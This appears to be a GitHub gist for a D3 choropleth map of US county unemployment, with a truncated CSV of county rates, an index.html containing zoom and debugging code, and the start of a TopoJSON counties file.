05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/d9be09d2820d6772c92188cafbdf8442">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
  path {
    stroke: white;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
  &lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/lodash.js/4.16.1/lodash.min.js&quot;&gt;&lt;/script&gt;
  
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;


  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.12&apos;)

  
  
  
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
    //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;forEach &apos;+i)
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  	svg.append(&apos;rect&apos;)
    .attr(&apos;width&apos;, 100)
    .attr(&apos;height&apos;, 100)
    .attr(&apos;fill&apos;,&apos;red&apos;)
  	.attr(&apos;transform&apos;, &apos;translate(200,200)&apos;)
  
  	//d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)
		d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;About to forEach&quot;)
    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        //f.properties = data.find(function (d) { return d.id === f.id })
      	f.properties = _.find(data, function(d){ return d.id === f.id})
    })
		d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;forEach completed&quot;)
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = _.find(data, function (d) { return d.id === f.id }) || {}
    })
	d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;--&gt; About to draw map paths&quot;)
    var statePaths = svg.selectAll(&apos;path&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return &apos;red&apos;
          //return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;--&gt; Map paths rendered&quot;)
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(d3.select(&apos;#zoomy-map&apos;).html())

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;t